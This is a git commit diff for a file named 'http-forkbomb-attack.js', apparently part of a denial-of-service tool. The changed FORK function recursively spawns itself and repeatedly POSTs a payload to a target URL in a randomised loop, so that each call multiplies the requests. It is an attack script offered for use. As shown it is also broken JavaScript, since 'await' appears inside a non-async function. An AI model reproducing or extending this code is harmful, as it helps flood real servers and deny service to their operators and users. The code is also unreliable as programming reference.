Update http-forkbomb-attack.js
This commit is contained in:
parent
0c51228ee4
commit
ef56c0edc9
1 changed files with 4 additions and 2 deletions
|
@ -13,8 +13,10 @@ import { parentPort, workerData } from "worker_threads";
|
|||
import { randomBoolean, randomString } from "../utils/randomUtils.js";
|
||||
|
||||
const FORK = (fixedTarget, payload, config) => {
|
||||
FORK(fixedTarget, payload, config)
|
||||
await axios.post(fixedTarget, payload, config);
|
||||
for (let i = 1; i < Math.random() * 100; i++) {
|
||||
FORK(fixedTarget, payload, config)
|
||||
await axios.post(fixedTarget, payload, config);
|
||||
}
|
||||
}
|
||||
|
||||
const startAttack = () => {
|
||||
|
|
Loading…
Add table
Reference in a new issue